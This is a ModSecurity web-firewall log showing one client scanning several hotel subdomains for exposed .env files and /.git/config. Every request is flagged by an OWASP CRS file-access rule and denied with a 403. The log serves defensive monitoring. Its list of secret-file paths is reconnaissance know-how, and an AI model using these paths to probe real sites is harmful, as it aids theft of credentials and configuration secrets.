[Tue Oct 27 01:43:46.347663 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6EskbbDK06qDUYmCoqwAAAAU"]
[Tue Oct 27 01:43:46.347808 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6EskbbDK06qDUYmCoqwAAAAU"]
[Tue Oct 27 01:43:46.348082 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auA6EskbbDK06qDUYmCoqwAAAAU"]
[Tue Oct 27 01:43:46.353469 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auA6Eg67030o4-ZAUjLpsgAAAAg"]
[Tue Oct 27 01:43:46.353622 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auA6Eg67030o4-ZAUjLpsgAAAAg"]
[Tue Oct 27 01:43:46.353865 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.yml"] [unique_id "auA6Eg67030o4-ZAUjLpsgAAAAg"]
[Tue Oct 27 01:43:46.380931 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auA6Eg67030o4-ZAUjLpswAAAAg"]
[Tue Oct 27 01:43:46.381156 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auA6Eg67030o4-ZAUjLpswAAAAg"]
[Tue Oct 27 01:43:46.381445 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auA6Eg67030o4-ZAUjLpswAAAAg"]
[Tue Oct 27 01:43:46.425343 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auA6Esqawth2HP9RxtL-0QAAAAY"]
[Tue Oct 27 01:43:46.425955 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auA6Esqawth2HP9RxtL-0QAAAAY"]
[Tue Oct 27 01:43:46.426252 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auA6Esqawth2HP9RxtL-0QAAAAY"]
[Tue Oct 27 01:43:46.437226 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6EskbbDK06qDUYmCorAAAAAU"]
[Tue Oct 27 01:43:46.437491 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6EskbbDK06qDUYmCorAAAAAU"]
[Tue Oct 27 01:43:46.437865 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auA6EskbbDK06qDUYmCorAAAAAU"]
[Tue Oct 27 01:43:46.453263 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6EskbbDK06qDUYmCorQAAAAU"]
[Tue Oct 27 01:43:46.453475 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6EskbbDK06qDUYmCorQAAAAU"]
[Tue Oct 27 01:43:46.453707 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auA6EskbbDK06qDUYmCorQAAAAU"]
[Tue Oct 27 01:43:46.681769 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auA6Esqawth2HP9RxtL-0gAAAAY"]
[Tue Oct 27 01:43:46.682028 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auA6Esqawth2HP9RxtL-0gAAAAY"]
[Tue Oct 27 01:43:46.682284 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auA6Esqawth2HP9RxtL-0gAAAAY"]
[Tue Oct 27 01:43:46.683376 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6EktgBhmk9Q7hbpqXvgAAAAs"]
[Tue Oct 27 01:43:46.683533 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6EktgBhmk9Q7hbpqXvgAAAAs"]
[Tue Oct 27 01:43:46.683643 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auA6Eg67030o4-ZAUjLptAAAAAg"]
[Tue Oct 27 01:43:46.683762 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auA6EktgBhmk9Q7hbpqXvgAAAAs"]
[Tue Oct 27 01:43:46.683815 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auA6Eg67030o4-ZAUjLptAAAAAg"]
[Tue Oct 27 01:43:46.684098 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "auA6Eg67030o4-ZAUjLptAAAAAg"]
[Tue Oct 27 01:43:46.684772 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6EskbbDK06qDUYmCorgAAAAU"]
[Tue Oct 27 01:43:46.684932 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6EskbbDK06qDUYmCorgAAAAU"]
[Tue Oct 27 01:43:46.685164 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6EskbbDK06qDUYmCorgAAAAU"]
[Tue Oct 27 01:43:46.768724 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auA6Eg67030o4-ZAUjLptQAAAAg"]
[Tue Oct 27 01:43:46.768925 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auA6Eg67030o4-ZAUjLptQAAAAg"]
[Tue Oct 27 01:43:46.769223 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auA6Eg67030o4-ZAUjLptQAAAAg"]
[Tue Oct 27 01:43:46.778165 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6EskbbDK06qDUYmCorwAAAAU"]
[Tue Oct 27 01:43:46.778341 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6EskbbDK06qDUYmCorwAAAAU"]
[Tue Oct 27 01:43:46.778631 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6EskbbDK06qDUYmCorwAAAAU"]
[Tue Oct 27 01:43:46.819751 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6EskbbDK06qDUYmCosAAAAAU"]
[Tue Oct 27 01:43:46.820026 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6EskbbDK06qDUYmCosAAAAAU"]
[Tue Oct 27 01:43:46.820344 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6EskbbDK06qDUYmCosAAAAAU"]
